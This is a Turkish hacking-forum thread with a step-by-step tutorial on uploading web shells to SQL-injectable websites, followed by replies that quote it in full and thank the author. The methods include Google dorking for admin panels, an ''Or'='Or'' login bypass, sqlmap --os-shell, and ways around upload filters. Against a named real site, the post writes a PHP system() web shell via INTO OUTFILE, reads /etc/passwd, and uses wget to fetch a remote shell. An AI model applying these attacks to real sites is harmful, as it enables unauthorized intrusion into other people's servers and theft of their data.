SQL Açıklı Siteye Shell Atma

Ghost Killer

Harici Saldırı Timleri Koordinatörü
13 Ocak 2019
11,318
7,709
szdpxie.jpg



Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.

Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;

Okumak İçin Tıklayınız

Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.



h7fao2l.png



1. Yöntem

İlk olarak hedef site bulalım.

Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.

Karşıma pek çok site geliyor.

hs1m6kf.jpg



Bu sitelerden herhangi birini seçiyorum.

Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.



ft46wn2.jpg



Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.

''Or'='Or''

Kodumuzu yazdıktan sonra login diyorum.



6ayrbhp.jpg



Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.

Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.

Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.

Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.


mlr9qrn.jpg



HTML:
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<bOdy>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</bOdy>
</html>
<?PHP
if(!empty($_FILES[’uploaded_file’]))
{
$path = "uploads/";
$path = $path . basename( $_FILES[’uploaded_file’][’name’]);
if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) {
echo "The file ". basename( $_FILES[’uploaded_file’][’name’]).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>


Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.


h7fao2l.png



9elnh0i.jpg



2. Yöntem


Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.


İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.


rnebdod.jpg



Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.



941odki.jpg



Karşımıza 4 Seçenekli Bir Soru geldi.

Which web application language does the web server support?

[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)



g263xen.jpg



Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.

Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.





1jc8drs.jpg



Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.

Ekran görüntüsü;



cbfwasl.jpg



Sonra bize;

do you want to retrieve the command standard output?

yani;

komut standart çıktısını almak istiyor musunuz?

diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.



r3z25go.jpg



İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.


Yüklediğimiz shellden görüntü;


love6m2.jpg





Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.

Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.



h7fao2l.png





3. Yöntem



Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.



O zaman firebug eklentisini deneyebilirsiniz;



Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.



Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.





HTML:
<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>





isevi98.jpg






buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.





Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız







h7fao2l.png




4. Yöntem



4. shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.


Bunun için;


bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.



daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.


daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.


gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.


Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.


Bu bağlantıyı da ziyaret edebilirsiniz;



Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız



h7fao2l.png



5. Yöntem


5. ve son yöntemimizde ise sql açıklı sitemizde yazma yetkisi izni var mı yok mu buna bakacağız, var ise shellimizi upload edeceğiz.



SQL açıklı herhangi bir site bulup deneyelim.



z20pnY.png



Sitemizi bulduktan sonra kolon sayısını bulalım ve ekrana yazdıralım.


Gp9432.png



Bir sonraki işlem olarak DB adını öğrenelim.


yA0pVL.png



DB isminin
mattat_mattat olduğunu öğrendik. Şimdi DB userimize bakalım.


6lJvmP.png



DB userimiz olan
mattat_mattat@localhost ekrana yazdırdık. Database ile ilgili gerekli bilgileri aldık.

Şimdi
file_priv komutunu kullanacağız. Peki bu ne demek?

file_priv sunucuda dosya okuma yazma işlemlerinde kullandığımız komutlardır.

Yani bu şekilde;


mattat.co.il/show_img.php?id=-27+union+select+1,file_priv mysql.user where='mattat_mattat'--



W67pbY.png



Komutumuzu yazdıktan sonra dizini bulmamız gerek, ' işaretini koyduğumuz zaman dizinimizi görmüştük;


/home/mattat/public_html/show_img.php





dizinin bulunmasının ardından bu komutu yazıyoruz;


http://www.mattat.co.il/show_img.php?id=-27+union+select+1,"<?system($_REQUEST['cmd']);?>"
into outfile '/home/mattat/public_html/show_img.php--




önemli kısıma geldik. başarılı olup olmadığımızı anlayacağız.

bu komutlardan herhnagi birini yazarak sorgulama gerçekleştirelim;



mattat.co.il/show_img.php?id=cat /etc/passwd

mattat.co.il/show_img.php?id=cat /named.conf

mattat.co.il/show_img.php?id=cat /httpd/httpd.conf



RbnpQ1.png



ekrana yansıtmayı başardık. daha sonra shell atmaya sıra geldi.

Bunun için wget komutunu kullanacağız.
mattat.co.il/show_img.php?id=wget -O http://shell-sitenizi-yazın/up.txt cw.php
shell sitesi bulup o adresi yazın. siteden istenilen shelli oto olarak çekip yazdıracağız.

shellimizin ismini cw.php olarak yazdırdık.

adrese gidelim;


pm6NE0.png



görüldüğü üzere başarılı bir şekilde shell upload işlemimiz gerçekleşti.


ek olarak yardımcı olması adına komutlarımız;


Select_priv : Kayıtları okuma

Insert_priv : Kayıt ekleme

Update_priv : Kayıt değiştirme/güncelleme

Delete_priv : Kayıt silme

Create_priv : Veritabanı/tablo yaratma

Drop_priv : Veritabanı/tablo kaldırma

Reload_priv : MySQLi yeniden başlatma

Shutdown_priv : MySQLi kapatma

Process_priv : MySQLde çalışan işlemleri takip etme

File_priv : Sunucudan dosya okuyup / yazma

Grant_priv : Başka kullanıcılara yetki verme

Index_priv : Indeks yaratma, değiştirme, silme

Alter_priv : Tablo ya da veritabanının yapısını değiştirme

Show_db_priv : Veritabanı listeleme

Lock_tables_priv : Tablo kitleme

Max_questions : Bir saat içinde yapılabilecek enfazla sorgu sayısı

Max_updates : Bir saat içinde yapılabilecek en fazla güncelleme sorgusu sayısı

Max_connections : Bir saat içinde yapılabilecek en fazla bağlantı sayısı




h7fao2l.png




Genel olarak yöntemler ve methodlar bu şekildedir arkadaşlar.


ovca0xc.gif
af8mqjc.gif




Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...




iUBacd.gif



 

deltaturk

Katılımcı Üye
26 Kas 2020
925
976
Green Team Mersin Daire Bşk.
szdpxie.jpg



Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.

Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;

Okumak İçin Tıklayınız

Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.



h7fao2l.png



1. Yöntem

İlk olarak hedef site bulalım.

Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.

Karşıma pek çok site geliyor.

hs1m6kf.jpg



Bu sitelerden herhangi birini seçiyorum.

Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.



ft46wn2.jpg



Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.

''Or'='Or''

Kodumuzu yazdıktan sonra login diyorum.



6ayrbhp.jpg



Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.

Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.

Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.

Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.


mlr9qrn.jpg



HTML:
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<bOdy>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</bOdy>
</html>
<?PHP
if(!empty($_FILES[’uploaded_file’]))
{
$path = "uploads/";
$path = $path . basename( $_FILES[’uploaded_file’][’name’]);
if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) {
echo "The file ". basename( $_FILES[’uploaded_file’][’name’]).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>


Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.


h7fao2l.png



9elnh0i.jpg



2. Yöntem


Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.


İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.


rnebdod.jpg



Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.



941odki.jpg



Karşımıza 4 Seçenekli Bir Soru geldi.

Which web application language does the web server support?

[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)



g263xen.jpg



Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.

Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.





1jc8drs.jpg



Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.

Ekran görüntüsü;



cbfwasl.jpg



Sonra bize;

do you want to retrieve the command standard output?

yani;

komut standart çıktısını almak istiyor musunuz?

diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.



r3z25go.jpg



İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.


Yüklediğimiz shellden görüntü;


love6m2.jpg





Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.

Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.



h7fao2l.png





3. Yöntem



Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.



O zaman firebug eklentisini deneyebilirsiniz;



Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.



Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.





HTML:
<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>





isevi98.jpg






buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.





Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız







h7fao2l.png








4. Yöntem





4. ve son shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.





Bunun için;





bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.





daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.





daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.





gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.





Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.





Bu bağlantıyı da ziyaret edebilirsiniz;





Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız





h7fao2l.png








ovca0xc.gif
af8mqjc.gif








Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...







iUBacd.gif






Hocam Elinize Emeğinize Sağlık İyi Çalışmalar...
 

JohnWick51

Uzman üye
20 Mar 2022
1,867
770
28
szdpxie.jpg



Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.

Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;

Okumak İçin Tıklayınız

Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.



h7fao2l.png



1. Yöntem

İlk olarak hedef site bulalım.

Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.

Karşıma pek çok site geliyor.

hs1m6kf.jpg



Bu sitelerden herhangi birini seçiyorum.

Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.



ft46wn2.jpg



Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.

''Or'='Or''

Kodumuzu yazdıktan sonra login diyorum.



6ayrbhp.jpg



Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.

Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.

Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.

Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.


mlr9qrn.jpg



HTML:
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<bOdy>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</bOdy>
</html>
<?PHP
if(!empty($_FILES[’uploaded_file’]))
{
$path = "uploads/";
$path = $path . basename( $_FILES[’uploaded_file’][’name’]);
if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) {
echo "The file ". basename( $_FILES[’uploaded_file’][’name’]).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>


Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.


h7fao2l.png



9elnh0i.jpg



2. Yöntem


Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.


İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.


rnebdod.jpg



Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.



941odki.jpg



Karşımıza 4 Seçenekli Bir Soru geldi.

Which web application language does the web server support?

[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)



g263xen.jpg



Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.

Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.





1jc8drs.jpg



Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.

Ekran görüntüsü;



cbfwasl.jpg



Sonra bize;

do you want to retrieve the command standard output?

yani;

komut standart çıktısını almak istiyor musunuz?

diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.



r3z25go.jpg



İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.


Yüklediğimiz shellden görüntü;


love6m2.jpg





Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.

Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.



h7fao2l.png





3. Yöntem



Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.



O zaman firebug eklentisini deneyebilirsiniz;



Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.



Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.





HTML:
<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>





isevi98.jpg






buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.





Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız







h7fao2l.png








4. Yöntem





4. ve son shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.





Bunun için;





bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.





daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.





daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.





gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.





Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.





Bu bağlantıyı da ziyaret edebilirsiniz;





Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız





h7fao2l.png








ovca0xc.gif
af8mqjc.gif








Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...







iUBacd.gif






Ellerine saglik. TESEKKURLER
 

Ghost Killer

Harici Saldırı Timleri Koordinatörü
13 Ocak 2019
11,318
7,709
Hocam Elinize Emeğinize Sağlık İyi Çalışmalar...
Elinize sağlık hocam
Eline sağlık hocam
Eline Sağlık Ghost :)
Elinize sağlık.
Elinize sağlık hocam.
Eline emeğine sağlık hocam
Ellerinize emeklerinize sağlık hocam çok güzel ve kaliteli bir konu olmuş
Elinize Sağlık Hocam
Elinize emeğinize sağlık hocam, Eğitici bir makale olmuş, Teşekkür ederiz böyle bir konu yazdığınız için :)
El emeğe sağlık. Teşekkürler.
Ellerine saglik. TESEKKURLER
Eline sağlık abi
5-6 gözle aradığım bir konu


Hepinize değerli yorumlarınız için teşekkür ederim. Ek olarak konuya 5. yöntemde eklenmiştir.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.